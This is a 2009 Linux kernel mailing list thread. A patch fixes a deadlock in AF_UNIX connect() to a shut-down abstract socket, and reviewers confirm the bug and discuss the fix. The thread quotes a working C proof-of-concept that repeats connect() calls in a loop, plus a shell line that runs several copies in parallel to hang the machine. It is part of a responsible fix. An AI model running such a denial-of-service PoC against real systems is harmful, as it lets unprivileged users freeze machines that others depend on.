AF_UNIX: Fix deadlock on connecting to shutdown socket

PATCH In review Tomoki Sekiyama 4 participants 9 messages Oct 19, 2009

Subsystems (3)

Networking Network drivers Networking unix sockets

lore

Share & tools

lore

Tomoki Sekiyama

author

2009-10-19 06:23 UTC #0 lore raw

PATCH 1/1 AF_UNIX: Fix deadlock on connecting to shutdown socket

Hi,
I found a deadlock bug in UNIX domain socket, which makes able to DoS attack against the local machine by non-root users.

How to reproduce:
1. Make a listening AF_UNIX/SOCK_STREAM socket with an abstruct namespace(*), and shutdown(2) it.
2. Repeat connect(2)ing to the listening socket from the other sockets until the connection backlog is full-filled.
3. connect(2) takes the CPU forever. If every core is taken, the system hangs.

PoC code: (Run as many times as cores on SMP machines.)

int main(void)

{
	int ret;
	int csd;
	int lsd;
	struct sockaddr_un sun;

	/* make an abstruct name address (*) */
	memset(&sun, 0, sizeof(sun));
	sun.sun_family = PF_UNIX;
	sprintf(&sun.sun_path[1], "%d", getpid());

	/* create the listening socket and shutdown */
	lsd = socket(AF_UNIX, SOCK_STREAM, 0);
	bind(lsd, (struct sockaddr *)&sun, sizeof(sun));
	listen(lsd, 1);
	shutdown(lsd, SHUT_RDWR);

	/* connect loop */
	alarm(15); /* forcely exit the loop after 15 sec */
	for (;;) {
		csd = socket(AF_UNIX, SOCK_STREAM, 0);
		ret = connect(csd, (struct sockaddr *)&sun, sizeof(sun));
		if (-1 == ret) {
			perror("connect()");
			break;
		}
		puts("Connection OK");
	}
	return 0;
}

(*) Make sun_path[0] = 0 to use the abstruct namespace.
If a file-based socket is used, the system doesn't deadlock because of context switches in the file system layer.

Why this happens:
Error checks between unix_socket_connect() and unix_wait_for_peer() are inconsistent. The former calls the latter to wait until the backlog is processed. Despite the latter returns without doing anything when the socket is shutdown, the former doesn't check the shutdown state and just retries calling the latter forever.

Patch:
The patch below adds shutdown check into unix_socket_connect(), so connect(2) to the shutdown socket will return -ECONREFUSED.

Signed-off-by Tomoki Sekiyama <[email protected]>

Signed-off-by Masanori Yoshida <[email protected]>

---
 net/unix/af_unix.c |    2 ++
 1 files changed, 2 insertions(+), 0 deletions(-)

net/unix/af_unix.c +2 -0

index 51ab497..fc820cd 100644
@@ -1074,6 +1074,8 @@ restart:
 	err = -ECONNREFUSED;
 	if (other->sk_state != TCP_LISTEN)
 		goto out_unlock;
+	if (other->sk_shutdown & RCV_SHUTDOWN)
+		goto out_unlock;
 
 	if (unix_recvq_full(other)) {
 		err = -EAGAIN;

Signature · 4 lines

Tomoki Sekiyama
Linux Technology Center
Hitachi, Ltd., Systems Development Laboratory
E-mail: [email protected]

David Miller

maintainer

2009-10-19 06:18 UTC #1 lore raw

From: Tomoki Sekiyama <[email protected]>
Date: Mon, 19 Oct 2009 15:02:52 +0900

Quoted 2 lines

I found a deadlock bug in UNIX domain socket, which makes able to DoS attack against the local machine by non-root users.

...

Quoted 7 lines

Why this happens:
Error checks between unix_socket_connect() and unix_wait_for_peer() are inconsistent. The former calls the latter to wait until the backlog is processed. Despite the latter returns without doing anything when the socket is shutdown, the former doesn't check the shutdown state and just retries calling the latter forever.

Quoted 6 lines

Patch:
The patch below adds shutdown check into unix_socket_connect(), so connect(2) to the shutdown socket will return -ECONREFUSED.
Signed-off-by Tomoki Sekiyama <[email protected]>
Signed-off-by Masanori Yoshida <[email protected]>

Looks good, applied, thank you!

Américo Wang

2009-10-19 07:02 UTC #2 lore raw

In reply to Tomoki Sekiyama

Quoted 12 lines · Tomoki Sekiyama

Hi,
I found a deadlock bug in UNIX domain socket, which makes able to DoS attack against the local machine by non-root users.
How to reproduce:
1. Make a listening AF_UNIX/SOCK_STREAM socket with an abstruct namespace(*), and shutdown(2) it.
2. Repeat connect(2)ing to the listening socket from the other sockets until the connection backlog is full-filled.
3. connect(2) takes the CPU forever. If every core is taken, the system hangs.

Quoted 1 line

PoC code: (Run as many times as cores on SMP machines.)

Interesting...

I tried this with the following command:

% for i in seq 1 $(grep processor -c /proc/cpuinfo); do ./unix-socket-dos-exploit; echo "=====$i====";done Connection OK
Connection OK
=====1====
Connection OK
Connection OK
=====2====
Connection OK
Connection OK
=====3====
Connection OK
Connection OK
=====4====

My system doesn't hang at all.

Am I missing something?

Thanks!

Quoted 67 lines

int main(void)
{
int ret;
int csd;
int lsd;
struct sockaddr_un sun;
/* make an abstruct name address (*) */
memset(&sun, 0, sizeof(sun));
sun.sun_family = PF_UNIX;
sprintf(&sun.sun_path[1], "%d", getpid());
/* create the listening socket and shutdown */ lsd = socket(AF_UNIX, SOCK_STREAM, 0); bind(lsd, (struct sockaddr *)&sun, sizeof(sun)); listen(lsd, 1);
shutdown(lsd, SHUT_RDWR);
/* connect loop */
alarm(15); /* forcely exit the loop after 15 sec */ for (;;) {
csd = socket(AF_UNIX, SOCK_STREAM, 0);
ret = connect(csd, (struct sockaddr *)&sun, sizeof(sun)); if (-1 == ret) {
perror("connect()");
break;
}
puts("Connection OK");
}
return 0;
}
(*) Make sun_path[0] = 0 to use the abstruct namespace.
If a file-based socket is used, the system doesn't deadlock because of context switches in the file system layer.
Why this happens:
Error checks between unix_socket_connect() and unix_wait_for_peer() are inconsistent. The former calls the latter to wait until the backlog is processed. Despite the latter returns without doing anything when the socket is shutdown, the former doesn't check the shutdown state and just retries calling the latter forever.
Patch:
The patch below adds shutdown check into unix_socket_connect(), so connect(2) to the shutdown socket will return -ECONREFUSED.
Signed-off-by Tomoki Sekiyama <[email protected]>
Signed-off-by Masanori Yoshida <[email protected]>
---
net/unix/af_unix.c | 2 ++
 1 files changed, 2 insertions(+), 0 deletions(-)
net/unix/af_unix.c +2 -0
index 51ab497..fc820cd 100644
@@ -1074,6 +1074,8 @@ restart:
        err = -ECONNREFUSED;
        if (other->sk_state != TCP_LISTEN)
                goto out_unlock;
+       if (other->sk_shutdown & RCV_SHUTDOWN)
+               goto out_unlock;
 
        if (unix_recvq_full(other)) {
                err = -EAGAIN;

Tomoki Sekiyama

author

2009-10-19 08:54 UTC #3 lore raw

Hi, thanks for testing!

Quoted 14 lines · Américo Wang

Quoted 12 lines · Tomoki Sekiyama
Hi,
I found a deadlock bug in UNIX domain socket, which makes able to DoS attack against the local machine by non-root users.
How to reproduce:
1. Make a listening AF_UNIX/SOCK_STREAM socket with an abstruct namespace(*), and shutdown(2) it.
2. Repeat connect(2)ing to the listening socket from the other sockets until the connection backlog is full-filled.
3. connect(2) takes the CPU forever. If every core is taken, the system hangs.

Quoted 1 line

Quoted 1 line
PoC code: (Run as many times as cores on SMP machines.)

Sorry for my ambiguous explanation ...

Quoted 6 lines

Interesting...
I tried this with the following command:
% for i in seq 1 $(grep processor -c /proc/cpuinfo); do ./unix-socket-dos-exploit; echo "=====$i====";done

<snip>

Quoted 5 lines

My system doesn't hang at all.
Am I missing something?
Thanks!

You should run the ./unix-socket-dos-exploit concurrently, like below:

for i in {1..4} ; do ./unix-socket-dos-exploit & done

# For safety reason, the PoC code stops in 15 seconds by alarm(15).

Signature · 4 lines

Tomoki Sekiyama
Linux Technology Center
Hitachi, Ltd., Systems Development Laboratory
E-mail: [email protected]

Tomoki Sekiyama

author

2009-10-19 08:58 UTC #4 lore raw

In reply to Américo Wang

Hi, thanks for testing!

Quoted 14 lines · Américo Wang

Quoted 12 lines · Tomoki Sekiyama
Hi,
I found a deadlock bug in UNIX domain socket, which makes able to DoS attack against the local machine by non-root users.
How to reproduce:
1. Make a listening AF_UNIX/SOCK_STREAM socket with an abstruct namespace(*), and shutdown(2) it.
2. Repeat connect(2)ing to the listening socket from the other sockets until the connection backlog is full-filled.
3. connect(2) takes the CPU forever. If every core is taken, the system hangs.

Quoted 1 line

Quoted 1 line
PoC code: (Run as many times as cores on SMP machines.)

Sorry for my ambiguous explanation ...

Quoted 6 lines

Interesting...
I tried this with the following command:
% for i in seq 1 $(grep processor -c /proc/cpuinfo); do ./unix-socket-dos-exploit; echo "=====$i====";done

<snip>

Quoted 5 lines

My system doesn't hang at all.
Am I missing something?
Thanks!

You should run the ./unix-socket-dos-exploit concurrently, like below:

for i in {1..4} ; do ./unix-socket-dos-exploit & done

# For safety reason, the PoC code stops in 15 seconds by alarm(15).

Signature · 4 lines

Tomoki Sekiyama
Linux Technology Center
Hitachi, Ltd., Systems Development Laboratory
E-mail: [email protected]

Américo Wang

2009-10-19 09:06 UTC #5 lore raw

Quoted 32 lines · Tomoki Sekiyama

Hi, thanks for testing!
Quoted 14 lines · Américo Wang
Quoted 12 lines · Tomoki Sekiyama
Hi,
I found a deadlock bug in UNIX domain socket, which makes able to DoS attack against the local machine by non-root users.
How to reproduce:
1. Make a listening AF_UNIX/SOCK_STREAM socket with an abstruct namespace(*), and shutdown(2) it.
2. Repeat connect(2)ing to the listening socket from the other sockets until the connection backlog is full-filled.
3. connect(2) takes the CPU forever. If every core is taken, the system hangs.
Quoted 1 line
Quoted 1 line
PoC code: (Run as many times as cores on SMP machines.)
Sorry for my ambiguous explanation ...
Quoted 6 lines
Interesting...
I tried this with the following command:
% for i in seq 1 $(grep processor -c /proc/cpuinfo); do ./unix-socket-dos-exploit; echo "=====$i====";done
<snip>
Quoted 4 lines
My system doesn't hang at all.
Am I missing something?

Quoted 7 lines

Quoted 1 line
Thanks!
You should run the ./unix-socket-dos-exploit concurrently, like below:
for i in {1..4} ; do ./unix-socket-dos-exploit & done
# For safety reason, the PoC code stops in 15 seconds by alarm(15).

Hmm, you are right.

My system hangs for 10 or more seconds after I did what you said. Confirmed.

Thanks!

Jarek Poplawski

2009-10-19 11:57 UTC #6 lore raw

In reply to Tomoki Sekiyama

On 19-10-2009 08:02, Tomoki Sekiyama wrote:
...

Quoted 22 lines

Why this happens:
Error checks between unix_socket_connect() and unix_wait_for_peer() are inconsistent. The former calls the latter to wait until the backlog is processed. Despite the latter returns without doing anything when the socket is shutdown, the former doesn't check the shutdown state and just retries calling the latter forever.
Patch:
The patch below adds shutdown check into unix_socket_connect(), so connect(2) to the shutdown socket will return -ECONREFUSED.
Signed-off-by Tomoki Sekiyama <[email protected]>
Signed-off-by Masanori Yoshida <[email protected]>
---
 net/unix/af_unix.c |    2 ++
 1 files changed, 2 insertions(+), 0 deletions(-)
net/unix/af_unix.c +0 -0
index 51ab497..fc820cd 100644

net/unix/af_unix.c restart: · line 1078

Quoted 5 lines

net/unix/af_unix.c +2 -0

@@ -1074,6 +1074,8 @@ restart:
 	err = -ECONNREFUSED;
 	if (other->sk_state != TCP_LISTEN)
 		goto out_unlock;
+	if (other->sk_shutdown & RCV_SHUTDOWN)
+		goto out_unlock;

Isn't the shutdown call expected to change sk_state to TCP_CLOSE?

Jarek P.

David Miller

maintainer

2009-10-19 13:14 UTC #7 lore raw

From: Jarek Poplawski <[email protected]>
Date: Mon, 19 Oct 2009 11:57:13 +0000

Quoted 1 line

Isn't the shutdown call expected to change sk_state to TCP_CLOSE?

No, because the send side is still up and operational, it's only a half duplex close.

Jarek Poplawski

2009-10-19 18:07 UTC #8 lore raw

Quoted 7 lines · David Miller

From: Jarek Poplawski <[email protected]>
Date: Mon, 19 Oct 2009 11:57:13 +0000
Quoted 1 line
Isn't the shutdown call expected to change sk_state to TCP_CLOSE?
No, because the send side is still up and operational, it's only a half duplex close.

OK, thanks for the explanation,
Jarek P.